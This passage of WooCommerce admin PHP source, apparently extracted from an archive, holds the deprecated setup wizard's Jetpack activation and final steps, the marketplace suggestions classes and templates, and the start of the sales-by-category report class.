	protected function wc_setup_activate_get_feature_list() {
		$features = array();

		$stripe_settings = get_option( 'woocommerce_stripe_settings', false );
		$stripe_enabled  = is_array( $stripe_settings )
			&& isset( $stripe_settings['create_account'] ) && 'yes' === $stripe_settings['create_account']
			&& isset( $stripe_settings['enabled'] ) && 'yes' === $stripe_settings['enabled'];
		$ppec_settings   = get_option( 'woocommerce_ppec_paypal_settings', false );
		$ppec_enabled    = is_array( $ppec_settings )
			&& isset( $ppec_settings['reroute_requests'] ) && 'yes' === $ppec_settings['reroute_requests']
			&& isset( $ppec_settings['enabled'] ) && 'yes' === $ppec_settings['enabled'];

		$features['payment'] = $stripe_enabled || $ppec_enabled;
		$features['taxes']   = (bool) get_option( 'woocommerce_setup_automated_taxes', false );
		$features['labels']  = (bool) get_option( 'woocommerce_setup_shipping_labels', false );

		return $features;
	}

	/**
	 *
	 * @deprecated 4.6.0
	 */
	protected function wc_setup_activate_get_feature_list_str() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$features = $this->wc_setup_activate_get_feature_list();
		if ( $features['payment'] && $features['taxes'] && $features['labels'] ) {
			return __( 'payment setup, automated taxes and discounted shipping labels', 'woocommerce' );
		} else if ( $features['payment'] && $features['taxes'] ) {
			return __( 'payment setup and automated taxes', 'woocommerce' );
		} else if ( $features['payment'] && $features['labels'] ) {
			return __( 'payment setup and discounted shipping labels', 'woocommerce' );
		} else if ( $features['payment'] ) {
			return __( 'payment setup', 'woocommerce' );
		} else if ( $features['taxes'] && $features['labels'] ) {
			return __( 'automated taxes and discounted shipping labels', 'woocommerce' );
		} else if ( $features['taxes'] ) {
			return __( 'automated taxes', 'woocommerce' );
		} else if ( $features['labels'] ) {
			return __( 'discounted shipping labels', 'woocommerce' );
		}
		return false;
	}

	/**
	 * Activate step.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_activate() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$this->wc_setup_activate_actions();

		$jetpack_connected = class_exists( 'Jetpack' ) && Jetpack::is_active();

		$has_jetpack_error = false;
		if ( isset( $_GET['activate_error'] ) ) {
			$has_jetpack_error = true;

			$title = __( "Sorry, we couldn't connect your store to Jetpack", 'woocommerce' );

			$error_message = $this->get_activate_error_message( sanitize_text_field( wp_unslash( $_GET['activate_error'] ) ) );
			$description = $error_message;
		} else {
			$feature_list = $this->wc_setup_activate_get_feature_list_str();

			$description = false;

			if ( $feature_list ) {
				if ( ! $jetpack_connected ) {
					/* translators: %s: list of features, potentially comma separated */
					$description_base = __( 'Your store is almost ready! To activate services like %s, just connect with Jetpack.', 'woocommerce' );
				} else {
					$description_base = __( 'Thanks for using Jetpack! Your store is almost ready: to activate services like %s, just connect your store.', 'woocommerce' );
				}
				$description = sprintf( $description_base, $feature_list );
			}

			if ( ! $jetpack_connected ) {
				$title = $feature_list ?
					__( 'Connect your store to Jetpack', 'woocommerce' ) :
					__( 'Connect your store to Jetpack to enable extra features', 'woocommerce' );
				$button_text = __( 'Continue with Jetpack', 'woocommerce' );
			} elseif ( $feature_list ) {
				$title = __( 'Connect your store to activate WooCommerce Services', 'woocommerce' );
				$button_text = __( 'Continue with WooCommerce Services', 'woocommerce' );
			} else {
				wp_redirect( esc_url_raw( $this->get_next_step_link() ) );
				exit;
			}
		}
		?>
		<h1><?php echo esc_html( $title ); ?></h1>
		<p><?php echo esc_html( $description ); ?></p>

		<?php if ( $jetpack_connected ) : ?>
			<div class="activate-splash">
				<img
					class="jetpack-logo"
					src="<?php echo esc_url( WC()->plugin_url() . '/assets/images/jetpack_horizontal_logo.png' ); ?>"
					alt="<?php esc_attr_e( 'Jetpack logo', 'woocommerce' ); ?>"
				/>
				<img
					class="wcs-notice"
					src="<?php echo esc_url( WC()->plugin_url() . '/assets/images/wcs-notice.png' ); ?>"
				/>
			</div>
		<?php else : ?>
			<img
				class="jetpack-logo"
				src="<?php echo esc_url( WC()->plugin_url() . '/assets/images/jetpack_vertical_logo.png' ); ?>"
				alt="<?php esc_attr_e( 'Jetpack logo', 'woocommerce' ); ?>"
			/>
		<?php endif; ?>

		<?php if ( $has_jetpack_error ) : ?>
			<p class="wc-setup-actions step">
				<a
					href="<?php echo esc_url( $this->get_next_step_link() ); ?>"
					class="button-primary button button-large"
				>
					<?php esc_html_e( 'Finish setting up your store', 'woocommerce' ); ?>
				</a>
			</p>
		<?php else : ?>
			<p class="jetpack-terms">
				<?php
					printf(
						wp_kses_post( __( 'By connecting your site you agree to our fascinating <a href="%1$s" target="_blank">Terms of Service</a> and to <a href="%2$s" target="_blank">share details</a> with WordPress.com', 'woocommerce' ) ),
						'https://wordpress.com/tos',
						'https://jetpack.com/support/what-data-does-jetpack-sync'
					);
				?>
			</p>
			<form method="post" class="activate-jetpack">
				<p class="wc-setup-actions step">
					<button type="submit" class="button-primary button button-large" value="<?php echo esc_attr( $button_text ); ?>"><?php echo esc_html( $button_text ); ?></button>
				</p>
				<input type="hidden" name="save_step" value="activate" />
				<?php wp_nonce_field( 'wc-setup' ); ?>
			</form>
			<?php if ( ! $jetpack_connected ) : ?>
				<h3 class="jetpack-reasons">
					<?php
						echo esc_html( $description ?
							__( "Bonus reasons you'll love Jetpack", 'woocommerce' ) :
							__( "Reasons you'll love Jetpack", 'woocommerce' )
						);
					?>
				</h3>
				<ul class="wc-wizard-features">
					<li class="wc-wizard-feature-item">
						<p class="wc-wizard-feature-name">
							<strong><?php esc_html_e( 'Better security', 'woocommerce' ); ?></strong>
						</p>
						<p class="wc-wizard-feature-description">
							<?php esc_html_e( 'Protect your store from unauthorized access.', 'woocommerce' ); ?>
						</p>
					</li>
					<li class="wc-wizard-feature-item">
						<p class="wc-wizard-feature-name">
							<strong><?php esc_html_e( 'Store stats', 'woocommerce' ); ?></strong>
						</p>
						<p class="wc-wizard-feature-description">
							<?php esc_html_e( 'Get insights on how your store is doing, including total sales, top products, and more.', 'woocommerce' ); ?>
						</p>
					</li>
					<li class="wc-wizard-feature-item">
						<p class="wc-wizard-feature-name">
							<strong><?php esc_html_e( 'Store monitoring', 'woocommerce' ); ?></strong>
						</p>
						<p class="wc-wizard-feature-description">
							<?php esc_html_e( 'Get an alert if your store is down for even a few minutes.', 'woocommerce' ); ?>
						</p>
					</li>
					<li class="wc-wizard-feature-item">
						<p class="wc-wizard-feature-name">
							<strong><?php esc_html_e( 'Product promotion', 'woocommerce' ); ?></strong>
						</p>
						<p class="wc-wizard-feature-description">
							<?php esc_html_e( "Share new items on social media the moment they're live in your store.", 'woocommerce' ); ?>
						</p>
					</li>
				</ul>
			<?php endif; ?>
		<?php endif; ?>
	<?php
	}

	/**
	 *
	 * @deprecated 4.6.0
	 */
	protected function get_all_activate_errors() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return array(
			'default' => __( "Sorry! We tried, but we couldn't connect Jetpack just now 😭. Please go to the Plugins tab to connect Jetpack, so that you can finish setting up your store.", 'woocommerce' ),
			'jetpack_cant_be_installed' => __( "Sorry! We tried, but we couldn't install Jetpack for you 😭. Please go to the Plugins tab to install it, and finish setting up your store.", 'woocommerce' ),
			'register_http_request_failed' => __( "Sorry! We couldn't contact Jetpack just now 😭. Please make sure that your site is visible over the internet, and that it accepts incoming and outgoing requests via curl. You can also try to connect to Jetpack again, and if you run into any more issues, please contact support.", 'woocommerce' ),
			'siteurl_private_ip_dev' => __( "Your site might be on a private network. Jetpack can only connect to public sites. Please make sure your site is visible over the internet, and then try connecting again 🙏." , 'woocommerce' ),
		);
	}

	/**
	 *
	 * @deprecated 4.6.0
	 */
	protected function get_activate_error_message( $code = '' ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$errors = $this->get_all_activate_errors();
		return array_key_exists( $code, $errors ) ? $errors[ $code ] : $errors['default'];
	}

	/**
	 * Activate step save.
	 *
	 * Install, activate, and launch connection flow for Jetpack.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_activate_save() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Final step.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_ready() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		// We've made it! Don't prompt the user to run the wizard again.
		WC_Admin_Notices::remove_notice( 'install', true );

		$user_email   = $this->get_current_user_email();
		$docs_url     = 'https://docs.woocommerce.com/documentation/plugins/woocommerce/getting-started/?utm_source=setupwizard&utm_medium=product&utm_content=docs&utm_campaign=woocommerceplugin';
		$help_text    = sprintf(
			/* translators: %1$s: link to docs */
			__( 'Visit WooCommerce.com to learn more about <a href="%1$s" target="_blank">getting started</a>.', 'woocommerce' ),
			$docs_url
		);
		?>
		<h1><?php esc_html_e( "You're ready to start selling!", 'woocommerce' ); ?></h1>

		<div class="woocommerce-message woocommerce-newsletter">
			<p><?php esc_html_e( "We're here for you — get tips, product updates, and inspiration straight to your mailbox.", 'woocommerce' ); ?></p>
			<form action="//woocommerce.us8.list-manage.com/subscribe/post?u=2c1434dc56f9506bf3c3ecd21&amp;id=13860df971&amp;SIGNUPPAGE=plugin" method="post" target="_blank" novalidate>
				<div class="newsletter-form-container">
					<input
						class="newsletter-form-email"
						type="email"
						value="<?php echo esc_attr( $user_email ); ?>"
						name="EMAIL"
						placeholder="<?php esc_attr_e( 'Email address', 'woocommerce' ); ?>"
						required
					>
					<p class="wc-setup-actions step newsletter-form-button-container">
						<button
							type="submit"
							value="<?php esc_attr_e( 'Yes please!', 'woocommerce' ); ?>"
							name="subscribe"
							id="mc-embedded-subscribe"
							class="button-primary button newsletter-form-button"
						><?php esc_html_e( 'Yes please!', 'woocommerce' ); ?></button>
					</p>
				</div>
			</form>
		</div>

		<ul class="wc-wizard-next-steps">
			<li class="wc-wizard-next-step-item">
				<div class="wc-wizard-next-step-description">
					<p class="next-step-heading"><?php esc_html_e( 'Next step', 'woocommerce' ); ?></p>
					<h3 class="next-step-description"><?php esc_html_e( 'Create some products', 'woocommerce' ); ?></h3>
					<p class="next-step-extra-info"><?php esc_html_e( "You're ready to add products to your store.", 'woocommerce' ); ?></p>
				</div>
				<div class="wc-wizard-next-step-action">
					<p class="wc-setup-actions step">
						<a class="button button-primary button-large" href="<?php echo esc_url( admin_url( 'post-new.php?post_type=product&tutorial=true' ) ); ?>">
							<?php esc_html_e( 'Create a product', 'woocommerce' ); ?>
						</a>
					</p>
				</div>
			</li>
			<li class="wc-wizard-next-step-item">
				<div class="wc-wizard-next-step-description">
					<p class="next-step-heading"><?php esc_html_e( 'Have an existing store?', 'woocommerce' ); ?></p>
					<h3 class="next-step-description"><?php esc_html_e( 'Import products', 'woocommerce' ); ?></h3>
					<p class="next-step-extra-info"><?php esc_html_e( 'Transfer existing products to your new store — just import a CSV file.', 'woocommerce' ); ?></p>
				</div>
				<div class="wc-wizard-next-step-action">
					<p class="wc-setup-actions step">
						<a class="button button-large" href="<?php echo esc_url( admin_url( 'edit.php?post_type=product&page=product_importer' ) ); ?>">
							<?php esc_html_e( 'Import products', 'woocommerce' ); ?>
						</a>
					</p>
				</div>
			</li>
			<li class="wc-wizard-additional-steps">
				<div class="wc-wizard-next-step-description">
					<p class="next-step-heading"><?php esc_html_e( 'You can also:', 'woocommerce' ); ?></p>
				</div>
				<div class="wc-wizard-next-step-action">
					<p class="wc-setup-actions step">
						<a class="button button-large" href="<?php echo esc_url( admin_url() ); ?>">
							<?php esc_html_e( 'Visit Dashboard', 'woocommerce' ); ?>
						</a>
						<a class="button button-large" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings' ) ); ?>">
							<?php esc_html_e( 'Review Settings', 'woocommerce' ); ?>
						</a>
						<a class="button button-large" href="<?php echo esc_url( add_query_arg( array( 'autofocus' => array( 'panel' => 'woocommerce' ), 'url' => wc_get_page_permalink( 'shop' ) ), admin_url( 'customize.php' ) ) ); ?>">
							<?php esc_html_e( 'View &amp; Customize', 'woocommerce' ); ?>
						</a>
					</p>
				</div>
			</li>
		</ul>
		<p class="next-steps-help-text"><?php echo wp_kses_post( $help_text ); ?></p>
		<?php
	}
}

PK�3\\�U&&Bmarketplace-suggestions/templates/html-product-data-extensions.phpnu�[���<?php
/**
 * The marketplace suggestions tab HTML in the product tabs
 *
 * @package WooCommerce\Classes
 * @since   3.6.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<div id="marketplace_suggestions" class="panel woocommerce_options_panel hidden">
	<?php
		WC_Marketplace_Suggestions::render_suggestions_container( 'product-edit-meta-tab-header' );
		WC_Marketplace_Suggestions::render_suggestions_container( 'product-edit-meta-tab-body' );
		WC_Marketplace_Suggestions::render_suggestions_container( 'product-edit-meta-tab-footer' );
	?>
	<div class="marketplace-suggestions-metabox-nosuggestions-placeholder hidden">
		<img src="https://woocommerce.com/wp-content/plugins/wccom-plugins/marketplace-suggestions/icons/get_more_options.svg" class="marketplace-suggestion-icon">
		<div class="marketplace-suggestion-placeholder-content">
			<h4><?php esc_html_e( 'Enhance your products', 'woocommerce' ); ?></h4>
			<p><?php esc_html_e( 'Extensions can add new functionality to your product pages that make your store stand out', 'woocommerce' ); ?></p>
		</div>
		<a href="https://woocommerce.com/product-category/woocommerce-extensions/?utm_source=editproduct&amp;utm_campaign=marketplacesuggestions&amp;utm_medium=product" target="blank" class="button"><?php esc_html_e( 'Browse the Marketplace', 'woocommerce' ); ?></a><br />
		<a class="marketplace-suggestion-manage-link" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=advanced&section=woocommerce_com' ) ); ?>"><?php esc_html_e( 'Manage suggestions', 'woocommerce' ); ?></a>
	</div>
</div>
PK�3\�E>��<marketplace-suggestions/class-wc-marketplace-suggestions.phpnu�[���<?php
/**
 * Marketplace suggestions
 *
 * Behaviour for displaying in-context suggestions for marketplace extensions.
 *
 * @package WooCommerce\Classes
 * @since   3.6.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Marketplace suggestions core behaviour.
 */
class WC_Marketplace_Suggestions {

	/**
	 * Initialise.
	 */
	public static function init() {
		if ( ! self::allow_suggestions() ) {
			return;
		}

		// Add suggestions to the product tabs.
		add_action( 'woocommerce_product_data_tabs', array( __CLASS__, 'product_data_tabs' ) );
		add_action( 'woocommerce_product_data_panels', array( __CLASS__, 'product_data_panels' ) );

		// Register ajax api handlers.
		add_action( 'wp_ajax_woocommerce_add_dismissed_marketplace_suggestion', array( __CLASS__, 'post_add_dismissed_suggestion_handler' ) );

		// Register hooks for rendering suggestions container markup.
		add_action( 'wc_marketplace_suggestions_products_empty_state', array( __CLASS__, 'render_products_list_empty_state' ) );
		add_action( 'wc_marketplace_suggestions_orders_empty_state', array( __CLASS__, 'render_orders_list_empty_state' ) );
	}

	/**
	 * Product data tabs filter
	 *
	 * Adds a new Extensions tab to the product data meta box.
	 *
	 * @param array $tabs Existing tabs.
	 *
	 * @return array
	 */
	public static function product_data_tabs( $tabs ) {
		$tabs['marketplace-suggestions'] = array(
			'label'    => _x( 'Get more options', 'Marketplace suggestions', 'woocommerce' ),
			'target'   => 'marketplace_suggestions',
			'class'    => array(),
			'priority' => 1000,
		);

		return $tabs;
	}

	/**
	 * Render additional panels in the product data metabox.
	 */
	public static function product_data_panels() {
		include dirname( __FILE__ ) . '/templates/html-product-data-extensions.php';
	}

	/**
	 * Return an array of suggestions the user has dismissed.
	 */
	public static function get_dismissed_suggestions() {
		$dismissed_suggestions = array();

		$dismissed_suggestions_data = get_user_meta( get_current_user_id(), 'wc_marketplace_suggestions_dismissed_suggestions', true );
		if ( $dismissed_suggestions_data ) {
			$dismissed_suggestions = $dismissed_suggestions_data;
			if ( ! is_array( $dismissed_suggestions ) ) {
				$dismissed_suggestions = array();
			}
		}

		return $dismissed_suggestions;
	}

	/**
	 * POST handler for adding a dismissed suggestion.
	 */
	public static function post_add_dismissed_suggestion_handler() {
		if ( ! check_ajax_referer( 'add_dismissed_marketplace_suggestion' ) ) {
			wp_die();
		}

		$post_data       = wp_unslash( $_POST );
		$suggestion_slug = sanitize_text_field( $post_data['slug'] );
		if ( ! $suggestion_slug ) {
			wp_die();
		}

		$dismissed_suggestions = self::get_dismissed_suggestions();

		if ( in_array( $suggestion_slug, $dismissed_suggestions, true ) ) {
			wp_die();
		}

		$dismissed_suggestions[] = $suggestion_slug;
		update_user_meta(
			get_current_user_id(),
			'wc_marketplace_suggestions_dismissed_suggestions',
			$dismissed_suggestions
		);

		wp_die();
	}

	/**
	 * Render suggestions containers in products list empty state.
	 */
	public static function render_products_list_empty_state() {
		self::render_suggestions_container( 'products-list-empty-header' );
		self::render_suggestions_container( 'products-list-empty-body' );
		self::render_suggestions_container( 'products-list-empty-footer' );
	}

	/**
	 * Render suggestions containers in orders list empty state.
	 */
	public static function render_orders_list_empty_state() {
		self::render_suggestions_container( 'orders-list-empty-header' );
		self::render_suggestions_container( 'orders-list-empty-body' );
		self::render_suggestions_container( 'orders-list-empty-footer' );
	}

	/**
	 * Render a suggestions container element, with the specified context.
	 *
	 * @param string $context Suggestion context name (rendered as a css class).
	 */
	public static function render_suggestions_container( $context ) {
		include dirname( __FILE__ ) . '/views/container.php';
	}

	/**
	 * Should suggestions be displayed?
	 *
	 * @param string $screen_id The current admin screen.
	 *
	 * @return bool
	 */
	public static function show_suggestions_for_screen( $screen_id ) {
		// We only show suggestions on certain admin screens.
		if ( ! in_array( $screen_id, array( 'edit-product', 'edit-shop_order', 'product' ), true ) ) {
			return false;
		}

		return self::allow_suggestions();
	}


	/**
	 * Should suggestions be displayed?
	 *
	 * @return bool
	 */
	public static function allow_suggestions() {
		// We currently only support English suggestions.
		$locale             = get_locale();
		$suggestion_locales = array(
			'en_AU',
			'en_CA',
			'en_GB',
			'en_NZ',
			'en_US',
			'en_ZA',
		);
		if ( ! in_array( $locale, $suggestion_locales, true ) ) {
			return false;
		}

		// Suggestions are only displayed if user can install plugins.
		if ( ! current_user_can( 'install_plugins' ) ) {
			return false;
		}

		// Suggestions may be disabled via a setting under Accounts & Privacy.
		if ( 'no' === get_option( 'woocommerce_show_marketplace_suggestions', 'yes' ) ) {
			return false;
		}

		// User can disabled all suggestions via filter.
		return apply_filters( 'woocommerce_allow_marketplace_suggestions', true );
	}

	/**
	 * Pull suggestion data from options. This is retrieved from a remote endpoint.
	 *
	 * @return array of json API data
	 */
	public static function get_suggestions_api_data() {
		$data = get_option( 'woocommerce_marketplace_suggestions', array() );

		// If the options have never been updated, or were updated over a week ago, queue update.
		if ( empty( $data['updated'] ) || ( time() - WEEK_IN_SECONDS ) > $data['updated'] ) {
			$next = WC()->queue()->get_next( 'woocommerce_update_marketplace_suggestions' );
			if ( ! $next ) {
				WC()->queue()->cancel_all( 'woocommerce_update_marketplace_suggestions' );
				WC()->queue()->schedule_single( time(), 'woocommerce_update_marketplace_suggestions' );
			}
		}

		return ! empty( $data['suggestions'] ) ? $data['suggestions'] : array();
	}
}

WC_Marketplace_Suggestions::init();

PK�3\C4�%%8marketplace-suggestions/class-wc-marketplace-updater.phpnu�[���<?php
/**
 * Marketplace suggestions updater
 *
 * Uses WC_Queue to ensure marketplace suggestions data is up to date and cached locally.
 *
 * @package WooCommerce\Classes
 * @since   3.6.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Marketplace Suggestions Updater
 */
class WC_Marketplace_Updater {

	/**
	 * Setup.
	 */
	public static function load() {
		add_action( 'init', array( __CLASS__, 'init' ) );
	}

	/**
	 * Schedule events and hook appropriate actions.
	 */
	public static function init() {
		add_action( 'woocommerce_update_marketplace_suggestions', array( __CLASS__, 'update_marketplace_suggestions' ) );
	}

	/**
	 * Fetches new marketplace data, updates wc_marketplace_suggestions.
	 */
	public static function update_marketplace_suggestions() {
		$data = get_option(
			'woocommerce_marketplace_suggestions',
			array(
				'suggestions' => array(),
				'updated'     => time(),
			)
		);

		$data['updated'] = time();

		$url     = 'https://woocommerce.com/wp-json/wccom/marketplace-suggestions/1.0/suggestions.json';
		$request = wp_safe_remote_get( $url );

		if ( is_wp_error( $request ) ) {
			self::retry();
			return update_option( 'woocommerce_marketplace_suggestions', $data, false );
		}

		$body = wp_remote_retrieve_body( $request );
		if ( empty( $body ) ) {
			self::retry();
			return update_option( 'woocommerce_marketplace_suggestions', $data, false );
		}

		$body = json_decode( $body, true );
		if ( empty( $body ) || ! is_array( $body ) ) {
			self::retry();
			return update_option( 'woocommerce_marketplace_suggestions', $data, false );
		}

		$data['suggestions'] = $body;
		return update_option( 'woocommerce_marketplace_suggestions', $data, false );
	}

	/**
	 * Used when an error has occured when fetching suggestions.
	 * Re-schedules the job earlier than the main weekly one.
	 */
	public static function retry() {
		WC()->queue()->cancel_all( 'woocommerce_update_marketplace_suggestions' );
		WC()->queue()->schedule_single( time() + DAY_IN_SECONDS, 'woocommerce_update_marketplace_suggestions' );
	}
}

WC_Marketplace_Updater::load();
PK�3\�}'+marketplace-suggestions/views/container.phpnu�[���<?php
/**
 * Marketplace suggestions container
 *
 * @package  WooCommerce\Templates
 * @version  3.6.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

?>
<div class="marketplace-suggestions-container"
	data-marketplace-suggestions-context="<?php echo esc_attr( $context ); ?>"
	>
</div>
PK�3\O*�55-reports/class-wc-report-sales-by-category.phpnu�[���<?php
/**
 * Sales by category report functionality
 *
 * @package WooCommerce\Admin\Reporting
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Report_Sales_By_Category
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Sales_By_Category extends WC_Admin_Report {

	/**
	 * Chart colors.
	 *
	 * @var array
	 */
	public $chart_colours = array();

	/**
	 * Categories ids.
	 *
	 * @var array
	 */
	public $show_categories = array();

	/**
	 * Item sales.
	 *
	 * @var array
	 */
	private $item_sales = array();

	/**
	 * Item sales and times.
	 *
	 * @var array
	 */
	private $item_sales_and_times = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		if ( isset( $_GET['show_categories'] ) ) {
			$this->show_categories = is_array( $_GET['show_categories'] ) ? array_map( 'absint', $_GET['show_categories'] ) : array( absint( $_GET['show_categories'] ) );
		}
	}

	/**
	 * Get all product ids in a category (and its children).
	 *
	 * @param  int $category_id Category ID.
	 * @return array
	 */
	public function get_products_in_category( $category_id ) {
		$term_ids    = get_term_children( $category_id, 'product_cat' );
		$term_ids[]  = $category_id;
		$product_ids = get_objects_in_term( $term_ids, 'product_cat' );

		return array_unique( apply_filters( 'woocommerce_report_sales_by_category_get_products_in_category', $product_ids, $category_id ) );
	}

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {

		if ( empty( $this->show_categories ) ) {
			return array();
		}

		$legend = array();
		$index  = 0;

		foreach ( $this->show_categories as $category ) {

			$category    = get_term( $category, 'product_cat' );
			$total       = 0;
			$product_ids = $this->get_products_in_category( $category->term_id );

			foreach ( $product_ids as $id ) {

				if ( isset( $this->item_sales[ $id ] ) ) {
					$total += $this->item_sales[ $id ];
				}
			}

			$legend[] = array(
				/* translators: 1: total items sold 2: category name */
				'title'            => sprintf( __( '%1$s sales in %2$s', 'woocommerce' ), '<strong>' . wc_price( $total ) . '</strong>', $category->name ),
				'color'            => isset( $this->chart_colours[ $index ] ) ? $this->chart_colours[ $index ] : $this->chart_colours[0],
				'highlight_series' => $index,
			);

			$index++;
		}

		return $legend;
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
			'7day'       => __( 'Last 7 days', 'woocommerce' ),
		);

		$this->chart_colours = array( '#3498db', '#34495e', '#1abc9c', '#2ecc71', '#f1c40f', '#e67e22', '#e74c3c', '#2980b9', '#8e44ad', '#2c3e50', '#16a085', '#27ae60', '#f39c12', '#d35400', '#c0392b' );

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day';

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ) ) ) {
			$current_range = '7day';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		// Get item sales data.
		if ( ! empty( $this->show_categories ) ) {
			$order_items = $this->get_order_report_data(
				array(
					'data'         => array(
						'_product_id' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => '',
							'name'            => 'product_id',
						),
						'_line_total' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => 'SUM',
							'name'            => 'order_item_amount',
						),
						'post_date'   => array(
							'type'     => 'post_data',
							'function' => '',
							'name'     => 'post_date',
						),
					),
					'group_by'     => 'ID, product_id, post_date',
					'query_type'   => 'get_results',
					'filter_range' => true,
				)
			);

			$this->item_sales           = array();
			$this->item_sales_and_times = array();

			if ( is_array( $order_items ) ) {

				foreach ( $order_items as $order_item ) {

					switch ( $this->chart_groupby ) {
						case 'day':
							$time = strtotime( gmdate( 'Ymd', strtotime( $order_item->post_date ) ) ) * 1000;
							break;
						case 'month':
						default:
							$time = strtotime( gmdate( 'Ym', strtotime( $order_item->post_date ) ) . '01' ) * 1000;
							break;
					}

					$this->item_sales_and_times[ $time ][ $order_item->product_id ] = isset( $this->item_sales_and_times[ $time ][ $order_item->product_id ] ) ? $this->item_sales_and_times[ $time ][ $order_item->product_id ] + $order_item->order_item_amount : $order_item->order_item_amount;

					$this->item_sales[ $order_item->product_id ] = isset( $this->item_sales[ $order_item->product_id ] ) ? $this->item_sales[ $order_item->product_id ] + $order_item->order_item_amount : $order_item->order_item_amount;
				}
			}
		}

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Get chart widgets.
	 *
	 * @return array
	 */
	public function get_chart_widgets() {

		return array(
			array(
				'title'    => __( 'Categories', 'woocommerce' ),
				'callback' => array( $this, 'category_widget' ),
			),
		);
	}

	/**
	 * Output category widget.
	 */
	public function category_widget() {

		$categories = get_terms( 'product_cat', array( 'orderby' => 'name' ) );
		?>
		<form method="GET">
			<div>
				<select multiple="multiple" data-placeholder="<?php esc_attr_e( 'Select categories&hellip;', 'woocommerce' ); ?>" class="wc-enhanced-select" id="show_categories" name="show_categories[]" style="width: 205px;">
					<?php
						$r                 = array();
						$r['pad_counts']   = 1;
						$r['hierarchical'] = 1;
						$r['hide_empty']   = 1;
						$r['value']        = 'id';
						$r['selected']     = $this->show_categories;

						include_once WC()->plugin_path() . '/includes/walkers/class-wc-product-cat-dropdown-walker.php';

						echo wc_walk_category_dropdown_tree( $categories, 0, $r ); // @codingStandardsIgnoreLine
					?>
				</select>
				<?php // @codingStandardsIgnoreStart ?>
				<a href="#" class="select_none"><?php esc_html_e( 'None', 'woocommerce' ); ?></a>
				<a href="#" class="select_all"><?php esc_html_e( 'All', 'woocommerce' ); ?></a>
				<button type="submit" class="submit button" value="<?php esc_attr_e( 'Show', 'woocommerce' ); ?>"><?php esc_html_e( 'Show', 'woocommerce' ); ?></button>
				<input type="hidden" name="range" value="<?php echo ( ! empty( $_GET['range'] ) ) ? esc_attr( wp_unslash( $_GET['range'] ) ) : ''; ?>" />
				<input type="hidden" name="start_date" value="<?php echo ( ! empty( $_GET['start_date'] ) ) ? esc_attr( wp_unslash( $_GET['start_date'] ) ) : ''; ?>" />
				<input type="hidden" name="end_date" value="<?php echo ( ! empty( $_GET['end_date'] ) ) ? esc_attr( wp_unslash( $_GET['end_date'] ) ) : ''; ?>" />
				<input type="hidden" name="page" value="<?php echo ( ! empty( $_GET['page'] ) ) ? esc_attr( wp_unslash( $_GET['page'] ) ) : ''; ?>" />
				<input type="hidden" name="tab" value="<?php echo ( ! empty( $_GET['tab'] ) ) ? esc_attr( wp_unslash( $_GET['tab'] ) ) : ''; ?>" />
				<input type="hidden" name="report" value="<?php echo ( ! empty( $_GET['report'] ) ) ? esc_attr( wp_unslash( $_GET['report'] ) ) : ''; ?>" />
				<?php // @codingStandardsIgnoreEnd ?>
			</div>
			<script type="text/javascript">
				jQuery(function(){
					// Select all/None
					jQuery( '.chart-widget' ).on( 'click', '.select_all', function() {
						jQuery(this).closest( 'div' ).find( 'select option' ).attr( 'selected', 'selected' );
						jQuery(this).closest( 'div' ).find('select').trigger( 'change' );
						return false;
					});

					jQuery( '.chart-widget').on( 'click', '.select_none', function() {
						jQuery(this).closest( 'div' ).find( 'select option' ).prop( 'selected', false );
						jQuery(this).closest( 'div' ).find('select').trigger( 'change' );
						return false;
					});
				});
			</script>
		</form>
		<?php
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day';
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_attr( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="chart"
			data-xaxes="<?php esc_attr_e( 'Date', 'woocommerce' ); ?>"
			data-groupby="<?php echo esc_attr( $this->chart_groupby ); ?>"
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		global $wp_locale;

		if ( empty( $this->show_categories ) ) {
			?>
